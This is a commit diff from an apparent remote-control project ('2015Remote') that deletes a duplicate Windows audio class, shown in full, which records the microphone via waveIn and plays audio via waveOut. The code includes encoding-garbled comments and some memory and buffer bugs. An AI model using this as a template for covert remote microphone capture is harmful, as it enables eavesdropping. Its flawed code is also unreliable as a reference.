fix: #39 Duplicate file Audio.h and Audio.cpp
This commit is contained in:
@@ -136,10 +136,10 @@
|
|||||||
<None Include="res\string.ico" />
|
<None Include="res\string.ico" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\..\client\Audio.h" />
|
||||||
<ClInclude Include="..\..\common\commands.h" />
|
<ClInclude Include="..\..\common\commands.h" />
|
||||||
<ClInclude Include="2015Remote.h" />
|
<ClInclude Include="2015Remote.h" />
|
||||||
<ClInclude Include="2015RemoteDlg.h" />
|
<ClInclude Include="2015RemoteDlg.h" />
|
||||||
<ClInclude Include="Audio.h" />
|
|
||||||
<ClInclude Include="AudioDlg.h" />
|
<ClInclude Include="AudioDlg.h" />
|
||||||
<ClInclude Include="Buffer.h" />
|
<ClInclude Include="Buffer.h" />
|
||||||
<ClInclude Include="BuildDlg.h" />
|
<ClInclude Include="BuildDlg.h" />
|
||||||
@@ -166,9 +166,9 @@
|
|||||||
<ClInclude Include="zlib.h" />
|
<ClInclude Include="zlib.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClCompile Include="..\..\client\Audio.cpp" />
|
||||||
<ClCompile Include="2015Remote.cpp" />
|
<ClCompile Include="2015Remote.cpp" />
|
||||||
<ClCompile Include="2015RemoteDlg.cpp" />
|
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||||
<ClCompile Include="Audio.cpp" />
|
|
||||||
<ClCompile Include="AudioDlg.cpp" />
|
<ClCompile Include="AudioDlg.cpp" />
|
||||||
<ClCompile Include="Buffer.cpp" />
|
<ClCompile Include="Buffer.cpp" />
|
||||||
<ClCompile Include="BuildDlg.cpp" />
|
<ClCompile Include="BuildDlg.cpp" />
|
||||||
|
|||||||
@@ -1,235 +0,0 @@
|
|||||||
// Audio.cpp: implementation of the CAudio class.
|
|
||||||
//
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
|
||||||
|
|
||||||
#include "stdafx.h"
|
|
||||||
#include "Audio.h"
|
|
||||||
#include <iostream>
|
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
|
||||||
// Construction/Destruction
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
|
||||||
|
|
||||||
CAudio::CAudio()
|
|
||||||
{
|
|
||||||
m_bExit = FALSE;
|
|
||||||
m_hThreadCallBack = false;
|
|
||||||
m_bIsWaveInUsed = FALSE;
|
|
||||||
m_bIsWaveOutUsed = FALSE;
|
|
||||||
m_nWaveInIndex = 0;
|
|
||||||
m_nWaveOutIndex = 0;
|
|
||||||
m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL);
|
|
||||||
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL);
|
|
||||||
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
|
|
||||||
|
|
||||||
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
|
|
||||||
m_GSMWavefmt.wfx.nChannels = 1;
|
|
||||||
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
|
|
||||||
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
|
|
||||||
m_GSMWavefmt.wfx.nBlockAlign = 65;
|
|
||||||
m_GSMWavefmt.wfx.wBitsPerSample = 0;
|
|
||||||
m_GSMWavefmt.wfx.cbSize = 2;
|
|
||||||
m_GSMWavefmt.wSamplesPerBlock = 320;
|
|
||||||
|
|
||||||
m_ulBufferLength = 1000;
|
|
||||||
|
|
||||||
for (int i = 0; i < 2; ++i)
|
|
||||||
{
|
|
||||||
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
|
||||||
m_InAudioHeader[i] = new WAVEHDR;
|
|
||||||
|
|
||||||
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
|
|
||||||
m_OutAudioHeader[i] = new WAVEHDR;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
CAudio::~CAudio()
|
|
||||||
{
|
|
||||||
m_bExit = TRUE;
|
|
||||||
if (m_bIsWaveInUsed)
|
|
||||||
{
|
|
||||||
waveInStop(m_hWaveIn);
|
|
||||||
waveInReset(m_hWaveIn);
|
|
||||||
for (int i = 0; i < 2; ++i)
|
|
||||||
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
|
||||||
|
|
||||||
waveInClose(m_hWaveIn);
|
|
||||||
WAIT (m_hThreadCallBack, 30);
|
|
||||||
if (m_hThreadCallBack)
|
|
||||||
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
for (int i = 0; i < 2; ++i)
|
|
||||||
{
|
|
||||||
delete [] m_InAudioData[i];
|
|
||||||
m_InAudioData[i] = NULL;
|
|
||||||
delete [] m_InAudioHeader[i];
|
|
||||||
m_InAudioHeader[i] = NULL;
|
|
||||||
}
|
|
||||||
if (m_hEventWaveIn)
|
|
||||||
{
|
|
||||||
SetEvent(m_hEventWaveIn);
|
|
||||||
CloseHandle(m_hEventWaveIn);
|
|
||||||
m_hEventWaveIn = NULL;
|
|
||||||
}
|
|
||||||
if (m_hStartRecord)
|
|
||||||
{
|
|
||||||
SetEvent(m_hStartRecord);
|
|
||||||
CloseHandle(m_hStartRecord);
|
|
||||||
m_hStartRecord = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_bIsWaveOutUsed)
|
|
||||||
{
|
|
||||||
waveOutReset(m_hWaveOut);
|
|
||||||
for (int i = 0; i < 2; ++i)
|
|
||||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
|
||||||
waveOutClose(m_hWaveOut);
|
|
||||||
}
|
|
||||||
|
|
||||||
for (int i = 0; i < 2; ++i)
|
|
||||||
{
|
|
||||||
delete [] m_OutAudioData[i];
|
|
||||||
m_OutAudioData[i] = NULL;
|
|
||||||
delete [] m_OutAudioHeader[i];
|
|
||||||
m_OutAudioHeader[i] = NULL;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL CAudio::InitializeWaveIn()
|
|
||||||
{
|
|
||||||
MMRESULT mmResult;
|
|
||||||
DWORD dwThreadID = 0;
|
|
||||||
|
|
||||||
HANDLE h = NULL;
|
|
||||||
m_hThreadCallBack = h = CreateThread(NULL, 0,
|
|
||||||
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
|
|
||||||
CREATE_SUSPENDED, &dwThreadID);
|
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>豸COM 1 ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2 ֧<><D6A7>ͨ<EFBFBD><CDA8><EFBFBD>̻߳ص<CCBB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
|
|
||||||
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
|
|
||||||
|
|
||||||
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
if (mmResult != MMSYSERR_NOERROR)
|
|
||||||
{
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
//¼<><C2BC><EFBFBD>豸 <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
for (int i=0; i<2; ++i)
|
|
||||||
{
|
|
||||||
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
|
||||||
m_InAudioHeader[i]->dwFlags = 0;
|
|
||||||
m_InAudioHeader[i]->dwLoops = 0;
|
|
||||||
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
|
||||||
}
|
|
||||||
|
|
||||||
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
|
||||||
|
|
||||||
ResumeThread(h);
|
|
||||||
CloseHandle(h);
|
|
||||||
waveInStart(m_hWaveIn); //¼<><C2BC>
|
|
||||||
|
|
||||||
m_bIsWaveInUsed = TRUE;
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
|
||||||
{
|
|
||||||
//¼<><C2BC><EFBFBD><EFBFBD>
|
|
||||||
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE)
|
|
||||||
{
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
if (dwBufferSize == NULL)
|
|
||||||
{
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
SetEvent(m_hStartRecord);
|
|
||||||
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
|
||||||
*dwBufferSize = m_ulBufferLength;
|
|
||||||
return m_InAudioData[m_nWaveInIndex]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
|
||||||
{
|
|
||||||
CAudio *This = (CAudio *)lParam;
|
|
||||||
|
|
||||||
MSG Msg;
|
|
||||||
|
|
||||||
while (GetMessage(&Msg, NULL, 0, 0))
|
|
||||||
{
|
|
||||||
if (This->m_bExit)
|
|
||||||
break;
|
|
||||||
if (Msg.message == MM_WIM_DATA)
|
|
||||||
{
|
|
||||||
SetEvent(This->m_hEventWaveIn);
|
|
||||||
WaitForSingleObject(This->m_hStartRecord, INFINITE);
|
|
||||||
|
|
||||||
Sleep(1);
|
|
||||||
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
|
|
||||||
|
|
||||||
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
|
|
||||||
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
|
||||||
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
|
||||||
if (mmResult != MMSYSERR_NOERROR)
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (Msg.message == MM_WIM_CLOSE)
|
|
||||||
{
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
TranslateMessage(&Msg);
|
|
||||||
DispatchMessage(&Msg);
|
|
||||||
}
|
|
||||||
|
|
||||||
std::cout<<"waveInCallBack end\n";
|
|
||||||
This->m_hThreadCallBack = false;
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
|
|
||||||
{
|
|
||||||
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 <20><>Ƶ<EFBFBD><C6B5>ʽ 2 <20><><EFBFBD><EFBFBD><EFBFBD>豸
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength)
|
|
||||||
{
|
|
||||||
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
|
|
||||||
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
|
|
||||||
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
|
|
||||||
}
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL CAudio::InitializeWaveOut()
|
|
||||||
{
|
|
||||||
if (!waveOutGetNumDevs())
|
|
||||||
return FALSE;
|
|
||||||
int i;
|
|
||||||
for (i = 0; i < 2; ++i)
|
|
||||||
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
MMRESULT mmResult;
|
|
||||||
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
|
|
||||||
if (mmResult != MMSYSERR_NOERROR)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
for (i = 0; i < 2; ++i)
|
|
||||||
{
|
|
||||||
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
|
|
||||||
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
|
||||||
m_OutAudioHeader[i]->dwFlags = 0;
|
|
||||||
m_OutAudioHeader[i]->dwLoops = 0;
|
|
||||||
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
|
|
||||||
}
|
|
||||||
|
|
||||||
m_bIsWaveOutUsed = TRUE;
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
// Audio.h: interface for the CAudio class.
|
|
||||||
//
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
|
||||||
|
|
||||||
#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
|
||||||
#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_
|
|
||||||
|
|
||||||
#if _MSC_VER > 1000
|
|
||||||
#pragma once
|
|
||||||
#endif // _MSC_VER > 1000
|
|
||||||
#include <MMSYSTEM.H>
|
|
||||||
#include <MMReg.h>
|
|
||||||
|
|
||||||
|
|
||||||
class CAudio
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
CAudio();
|
|
||||||
virtual ~CAudio();
|
|
||||||
GSM610WAVEFORMAT m_GSMWavefmt;
|
|
||||||
ULONG m_ulBufferLength;
|
|
||||||
LPWAVEHDR m_InAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
|
|
||||||
LPBYTE m_InAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
HANDLE m_hEventWaveIn;
|
|
||||||
HANDLE m_hStartRecord; //<2F><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>
|
|
||||||
HWAVEIN m_hWaveIn; //<2F>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
|
||||||
DWORD m_nWaveInIndex;
|
|
||||||
bool m_hThreadCallBack;
|
|
||||||
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
|
|
||||||
LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
|
|
||||||
BOOL InitializeWaveIn();
|
|
||||||
BOOL m_bIsWaveInUsed;
|
|
||||||
|
|
||||||
HWAVEOUT m_hWaveOut;
|
|
||||||
BOOL m_bExit;
|
|
||||||
BOOL m_bIsWaveOutUsed;
|
|
||||||
DWORD m_nWaveOutIndex;
|
|
||||||
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
|
|
||||||
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
|
|
||||||
BOOL InitializeWaveOut();
|
|
||||||
};
|
|
||||||
|
|
||||||
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include "IOCPServer.h"
|
#include "IOCPServer.h"
|
||||||
#include "Audio.h"
|
#include "../../client/Audio.h"
|
||||||
|
|
||||||
// CAudioDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// CAudioDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user